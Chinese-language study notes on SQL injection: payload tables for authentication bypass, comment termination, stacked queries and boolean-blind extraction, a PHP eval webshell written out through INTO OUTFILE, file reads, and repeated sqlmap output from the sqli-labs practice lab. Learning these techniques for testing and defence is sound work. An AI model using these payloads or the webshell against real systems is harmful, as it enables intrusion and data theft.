POST 注入是不用再编码的,GET 方法在 URL 中进行编码
URL 最大长度为 2048 字节
SQL 注入产生过程
- 转义字符处理不当
SQL 数据库将单引号(')解析成数据与代码的分界,也就是说单引号包裹的是数据,外面的是代码。如果在 URL 或 Web 页面中输入单引号,可以快速识别是否存在注入
单引号并不是唯一的转义字符,比如 Oracle 中,空格(||),逗号(,),点号(.),(*/),双引号(")
- 类型处理不当
处理数字数据时候,不需要用引号闭合,否则数字数据会被当作字符串处理
-
查询集处理不当
-
错误处理不当
web 服务器在呈现请求的 web 源时,如果发现错误会返回状态码 500,但有时候会 302 重定向到一些固定页面
'+'是 URI 的保留字,需要进行编码,encode 为:%2B
内联注入
是指向查询注入一些 SQL 代码后,原来的查询仍然会全部执行
- 字符串内联注入
- 假设这是一个身份验证的表单
username
password
假设该查询为以下格式:
SELECT *
FROM Admin
WHERE username = '[username]' AND passwd = 'passwd';
向 username 输入一个单引号,单击提交后,若返回下列错误:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line1
这说明这个表单存在 SQL 注入,上面的输入构造的 SQL 语句为:
SELECT *
FROM Admin
WHERE username = ''' AND passwd = '';
现在构造一条 SQL 语句,以绕过验证;在 username 中输入'OR '1'='1,password 保持空,输入构造的 SQL 语句为:
SELECT *
FROM Admin
WHERE username = '' OR '1'='1' AND passwd = '';
但是这条语句不会返回所有字段,因为 AND 比 OR 优先级高,所以需要修改一下
SELECT *
FROM Admin
WHERE (username = '') OR ('1'='1') OR ('1'='1' AND passwd = '');
修改后的 SQL 语句保持 WHERE 子句条件永真,
如果想要返回 username=administrator 的记录行,SQL 语句为:
SELECT *
FROM Admin
WHERE username = 'administrator' AND 1 = 1 OR '1'='1' AND passwd = '';
字符串内联注入的特征值
测试字符串 | 变种 | 预期结果 |
---|---|---|
' | 触发错误。如果成功,数据库返回错误信息 | |
1' OR '1'='1 |
1') OR ('1'='1 |
永真条件,如果成功,将返回表中所有行 |
value' OR '1'='2 |
value') OR ('1'='2 |
空条件,如果成功,将会返回和原来语句一样的结果 |
1' AND '1'='2 |
1') AND ('1'='2 |
永假条件,如果成功,将不返回表中所有行 |
1' OR 'ab'='a'+'b |
1') OR ('ab'='a'+'b |
SQL Server 字符串连接。如果成功,将返回与永真条件相同的信息 |
1' OR 'ab'='a' 'b |
1') OR ('ab'='a' 'b |
MySQL 字符串连接。如果成功,将返回与永真条件相同的信息 |
`1' OR 'ab'='a' | 'b` | |
2. 数字内联注入 |
注入数字时不用加单引号
数字内联注入特征值
测试字符串 | 变种 | 预期结果 |
---|---|---|
' | 触发错误。如果成功,数据库返回错误信息 | |
1+1 | 3-1 | 如果成功,将返回与操作结果相同的值 |
value+0 | 如果成功,将返回与操作结果相同的值 | |
1 OR 1=1 | 1) OR (1=1 | 永真条件。如果成功,将返回表中所有行 |
value OR 1=2 | value) OR (1=2 | 空条件,如果成功,将会返回和原来语句一样的结果 |
1 AND 1=2 | 1) AND (1=2 | 永假条件,如果成功,将不返回表中所有行 |
1 OR 'ab'='a'+'b | 1) OR ('ab'='a'+'b | SQL Server 字符串连接。如果成功,将返回与永真条件相同的信息 |
1 OR 'ab'='a' 'b | 1) OR ('ab'='a' 'b | MySQL 字符串连接。如果成功,将返回与永真条件相同的信息 |
`1 OR 'ab'='a' | 'b` |
终止式注入
注入 SQL 代码时,通过将原查询语句的剩余部分注释掉,从而成功结束原来的查询语句
- 数据库注释
数据库 | 注释 | 描述 |
---|---|---|
SQL Server,Oracle,PostgreSQL | --(双连字符) | 用于单行注释 |
SQL Server,Oracle,PostgreSQL | /* */ | 用于多行注释 |
MYSQL | --(双连字符) | 用于单行注释,第二个连字符后面需要加一个空格或控制字符(制表符、换行符) |
MYSQL | # | 用于单行注释 |
MYSQL | /* */ | 用于多行注释 |
- 防止 SQL 注入的技术有:从最开始位置检测,清除用户输入中的所有空格,截短输入的值。可以使用多行注释来绕过这些限制(避免使用空格)
假设一个请求:http://localhost/main.php?id=2/*hello*/
如果该请求正常返回且得到与 id=2 相同的结果,即数据库忽略了注释内容,说明可能存在 SQL 注入
- 使用注释终止 SQL 语句
username
password
该查询为以下格式:
SELECT *
FROM Admin
WHERE username = '[username]' AND passwd = 'passwd';
- 只向 username 字段注入代码并终止该语句,注入:
' OR 1=1;--
;构造的 SQL 语句为:
SELECT *
FROM Admin
WHERE username = '' OR 1=1;-- AND passwd ='';
由于'1=1'为永真条件,该语句返回 Admin 表中的所有行,而且注释掉后半部分,有时候无法使用使用(--),因为可能对他进行了过滤,也可能在注释过程中产生了错误,这时使用多行注释(/* */)来替换(--)
- 使用多行注释
对 username 字段和 password 字段分别注入 admin'/*
和 */'
,构造的 SQL 语句为:
SELECT *
FROM Admin
WHERE username = 'admin'/* AND passwd = '*/''
等同于:SELECT * FROM Admin WHERE username = 'admin''';
数据库的连接运算符
数据库 | 实例 |
---|---|
SQL Server | 'a'+'b'='ab' |
MySQL | 'a' 'b'='ab' |
Oracle 和 PostgreSQL | `'a' |
可以用以上几种方法辨别应用为哪种数据库
-
原始请求:
http://localhost/main.php?user=root --
-
SQL Server
http://localhost/main.php?user=ro' + 'ot --
-
MYSQL
http://localhost/main.php?user=ro' 'ot --
-
Oracle 和 PostgreSQL
http://localhost/main.php?user=ro'||'ot --
使用数据库注释时常用的特征值
测试字符串 | 变种 | 预期结果 |
---|---|---|
admin'-- |
admin')-- |
通过返回数据库中的 admin 行来绕过验证 |
admin'# |
admin')# |
MYSQL 通过返回数据库中的 admin 行来绕过验证 |
1-- |
1)-- |
注释掉剩下的查询,希望能够清除可注入参数后面 WHERE 子句指定的过滤 |
1 OR 1=1-- |
1) OR 1=1-- |
注入一个数字参数,返回所有行 |
' OR '1'='1'-- |
') OR '1'='1'-- |
注入一个字符串参数,返回所有行 |
-1 AND 1=2-- |
-1) AND 1=2 |
注入一个数字参数,不返回任何行 |
' AND '1'='2'-- |
') AND '1'='2'-- |
注入一个字符串参数,不返回任何行 |
1 /*注释*/ |
将注入注释掉。如果成功,将不会对请求产生任何影响。有助于识别 SQL 注入 |
- 执行多条 SQL 语句
如果终止了一条 SQL 语句,就可以创建一条新的没有限制的 SQL 语句
用于注入多条 SQL 语句的特征值
测试字符串 | 变种 | 预期结果 |
---|---|---|
';[SQL Statement];-- |
);[SQL Statement];-- |
注入一个字符串参数,执行多条语句 |
';[SQL Statement];# |
');[SQL Statement];# |
MYSQL 注入一个字符串参数,执行多条语句 |
;[SQL Statement];-- |
);[SQL Statement];-- |
注入一个数值参数,执行多条语句 |
;[SQL Statement];# |
);[SQL Statement];# |
MYSQL 注入一个数值参数,执行多条语句 |
- 延迟注入
当在进行 SQL 盲注的过程中,经常会不确定是否存在漏洞,有时候 Web 应用不会返回任何错误,无法检索任何数据,这时候为了识别漏洞,需要向数据库注入时间延迟,并且检查服务器端响应是否也产生了延迟
获取数据库 flag
查询各种数据库的版本
数据库 | 查询语句 |
---|---|
MS SQL Server | SELECT @@VERSION |
MySQL | SELECT version() , SELECT @@VERSION |
Oracle | SELECT banner FROM v$version SELECT banner FROM v$version WHERE rownum=1 |
PostgreSQL | SELECT version() |
使用 UNION 语句
满足的条件:
-
两个查询返回的列数必须相同
-
两个查询对应列的数据类型相同或兼容
如果不满足这两个条件,数据库则会返回错误,根据返回语句的不同,我们可以分辨其数据库类型
可以用 ORDER BY
子句 + 数字参数,例如 ORDER BY 6
来测试列数
-
尝试
ORDER BY 6
,若不返回错误,说明列数 >6 -
尝试
ORDER BY 14
,若返回错误,说明 8< 列数 <14
以此类推该二分法,即可推断出列数。
选用 ORDER BY 6
子句的原因是因为他在服务器日志留下的痕迹更小
不同数据库将任意数据转换为字符串
数据库 | 语句 |
---|---|
MS SQL Server | SELECT CAST('111' AS varchar) |
MySQL | SELECT CAST('111' AS char) |
Oracle | SELECT CAST(111 AS varchar) FROM dual |
PostgreSQL | SELECT CAST(111 AS text) |
PostgreSQL 允许非字符串变量连接字符串 `( |
导出数据库
SELECT '<?php eval($_POST[cmd])?>' into outfile '物理地址'
读文件
load_file(0x23213213213) //支持 16 进制
select load_file(c:\a.txt);
(#)HTML 中为锚点
在 SQL 注入中使用注释符'#'会被认为是锚点,需要进行 URL 编码'%23'
布尔注入
- 函数
mid(str,1,3) 字符串截取
ORD(s) 转换为 ASCII 码
length(s) 字节数
version() 数据库版本
database() 数据库名
user() 查看当前用户
-
布尔注入得到数据库名称长度:
username=1' or length(database())>1 # &passwd='22222';
,username=1' or length(database())>2 # &passwd='22222'
,username=1' or length(database())>3 # &passwd='22222'
......以此类推得到数据库名称长度 -
布尔注入进行字符串截取确认每一个字符:
username=1' or ORD(mid(database(),1,1))>1 # &passwd='22222';
,username=1' or ORD(mid(database(),1,1))>2 # &passwd='22222';
,username=1' or ORD(mid(database(),1,1))>3 # &passwd='22222';
......以此类推确认第一个字符;username=1' or ORD(mid(database(),2,1))>1 # &passwd='22222';
......确认第二个字符......最终得到数据库名称 -
获取表的总数:
select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database();
-
获取表名长度:
select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit a,b;
-
获取第一个表的长度:
select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
-
获取第二个表的长度:
select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1;
-
获取表内容:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database();
-
获取字段总数:
select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=表名 limit a,b;
-
获取第一个字段长度:
select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=表名 limit 0,1;
-
获取第二个字段长度:
select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=表名 limit 1,1;
使用 SQLMAP 注入 SQL Lab 下 sqli/Less-1 的结果
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1''' AND 6967=6967 AND 'obIw'='obIw
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1''' AND (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))),0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wBLF'='wBLF
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1''' AND (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-6117' UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c61777045705979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)--
---
web application technology: Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0
current database: 'security'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1''' AND 6967=6967 AND 'obIw'='obIw
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1''' AND (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))),0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wBLF'='wBLF
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1''' AND (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-6117' UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c61777045705979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)-- IrVS
---
web application technology: Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0
current database: 'security'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1''' AND 6967=6967 AND 'obIw'='obIw
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1''' AND (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))),0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wBLF'='wBLF
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1''' AND (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-6117' UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c61777045705979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)-- IrVS
---
web application technology: Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0
current database: 'security'
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于